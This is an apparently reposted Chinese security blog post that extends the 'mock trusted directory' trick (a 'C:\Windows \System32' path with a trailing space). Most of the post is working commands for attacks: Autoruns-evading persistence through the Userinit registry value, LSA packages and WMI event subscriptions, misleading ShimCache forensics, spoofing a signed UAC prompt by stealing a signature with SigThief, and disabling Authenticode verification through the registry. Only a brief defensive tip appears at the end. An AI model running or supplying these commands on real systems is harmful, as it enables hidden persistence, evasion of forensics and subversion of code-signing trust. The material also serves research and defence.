10

模拟可信目录的利用技巧扩展

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%A8%A1%E6%8B%9F%E5%8F%AF%E4%BF%A1%E7%9B%AE%E5%BD%95%E7%9A%84%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7%E6%89%A9%E5%B1%95/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言


在上篇文章《通过模拟可信目录绕过UAC的利用分析》对通过模拟可信目录绕过UAC的方法进行了分析,本文将结合自己的经验,继续介绍模拟可信目录的另外三种利用技巧,最后给出防御建议

0x01 简介


本文将要介绍以下内容:

  • 利用模拟可信目录绕过Autoruns
  • 利用模拟可信目录欺骗ShimCache
  • 利用模拟可信目录伪造正常的UAC弹框

0x02 利用模拟可信目录绕过Autoruns


绕过原理:

Autoruns默认不显示带有微软签名的文件,如果文件包含微软签名,默认不会显示在Autoruns面板

在Windows系统的启动位置写入模拟可信目录下的文件,由于被识别为正常带有微软签名的文件,默认将不会显示在Autoruns面板

经过测试,并不适用于所有的启动位置,具体测试如下:

创建模拟的可信目录,添加测试文件:

md "\\?\c:\windows "
md "\\?\c:\windows \system32"
copy c:\test\putty.exe "\\?\c:\windows \system32\notepad.exe"
copy c:\test\calc.dll "\\?\c:\windows \system32\atl.dll"

1、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

系统启动时启动文件"C:\Windows \System32\notepad.exe",添加注册表的命令如下:

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RunTest /t REG_SZ /d "\"c:\windows \system32\notepad.exe\""

注:

"在cmd下转义后用\"表示

Autoruns检测注册表项,将其识别为notepad.exe,如下图

Alt text

但在系统开机时启动的是正常notepad.exe,而不是putty.exe,失败

2、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Userinit

查询原注册表项:

reg query "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

默认键值内容为:C:\Windows\system32\userinit.exe,

系统启动时启动文件"C:\Windows \System32\notepad.exe",添加注册表的命令如下:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,\"c:\windows \system32\notepad.exe\"," /f

注:

"在cmd下转义后用\"表示

系统开机时启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过

Alt text

注:

Autoruns默认不显示带有微软签名的文件,所以不会显示上图中的notepad.exe,上图为了演示专门设置为显示所有启动项

3、LSA Providers

注册启动项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的Security Packages

添加键值"c:\windows \system32\atl.dll"

Autoruns检测注册表项,将其识别为atl.dll,成功绕过

Alt text

4、WMI

每隔60秒启动文件"C:\Windows \System32\notepad.exe",添加wmi的命令如下:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows \System32\notepad.exe",CommandLineTemplate="C:\Windows \System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

执行后每隔一分钟启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过

Alt text

查看已注册wmi信息的命令如下:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list

删除已注册wmi的命令如下:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="BotFilter82" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="BotConsumer23" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='BotFilter82'" DELETE

0x03 利用模拟可信目录欺骗ShimCache


在之前的文章《渗透技巧——Windows系统文件执行记录的获取与清除》提到:

ShimCache不仅会记录exe文件的执行,而且会对exe文件同级目录下的文件进行记录(如果文件没有执行,那么Executed的属性为no)

ShimCache只会在系统重新启动后更新(注销当前用户不会更新)

也就是说,想要清除本次系统从启动至关机的ShimCache记录,有两种方法:

(1)修改注册表

备份当前注册表:

reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg

系统重启后,恢复注册表:

reg import ShimCache.reg

(2)非正常关机

跳过写入注册表的操作,无法记录本次系统自启动至关机的记录

(3)修改内存

(理论上可行)

这里我尝试利用模拟可信目录欺骗ShimCache,迷惑性很高

方法如下:

1. 创建可信目录"c:\windows \system32"

md "\\?\c:\windows "
md "\\?\c:\windows \system32"

2. 释放文件"c:\windows \system32\calc.exe"

copy c:\test\putty.exe "\\?\c:\windows \system32\notepad.exe"
"c:\windows \system32\notepad.exe"

4. 重启后查看ShimCache

使用工具: https://github.com/mandiant/ShimCacheParser

reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg
ShimCacheParser.py -o out.csv -r c:\test\ShimCache.reg -t

查看结果,很具有迷惑性,如下图

Alt text

0x04 利用模拟可信目录伪造正常的UAC弹框


1、编写需要管理员权限运行的程序

使用Visual Studio

VS工程设置位置:

配置属性 -> 链接器 -> 清单文件,选择需要管理员权限运行

也可以修改PE文件资源中的manifest

2、模拟可信目录,释放文件

copy c:\test\testuac.exe "\\?\c:\windows \system32\diskpart.exe"

执行:"c:\windows \system32\diskpart.exe"

弹出UAC提示,显示路径为正常的diskpart.exe,但是没有签名会提示异常,如下图

Alt text

注:

执行正常的diskpart.exe,UAC提示如下图

Alt text

为了伪造成真正的UAC提示,可以使用PE文件的Authenticode签名伪造

参考资料: 《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

3、签名伪造

使用SigThief,地址如下:

https://github.com/secretsquirrel/SigThief

参数如下:

sigthief.py -i C:\Windows\System32\consent.exe -t c:\test\testuac.exe -o c:\test\new.exe 
copy c:\test\new.exe "\\?\c:\windows \system32\diskpart.exe" /y

4、绕过证书验证

添加注册表的命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

5、最终测试

再次执行:"c:\windows \system32\diskpart.exe",UAC提示同真正的diskpart.exe一样,如下图

Alt text

0x05 防御建议


对于模拟可信目录的利用,前提是创建了伪造的目录,所以可选择对文件夹的短文件名进行监控

如果出现与系统目录相近的短文件名,可选择进行标记

查看短文件名的方法: dir /x

Alt text

0x06 小结


本文介绍了模拟可信目录的另外三种利用技巧,最后给出防御建议


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK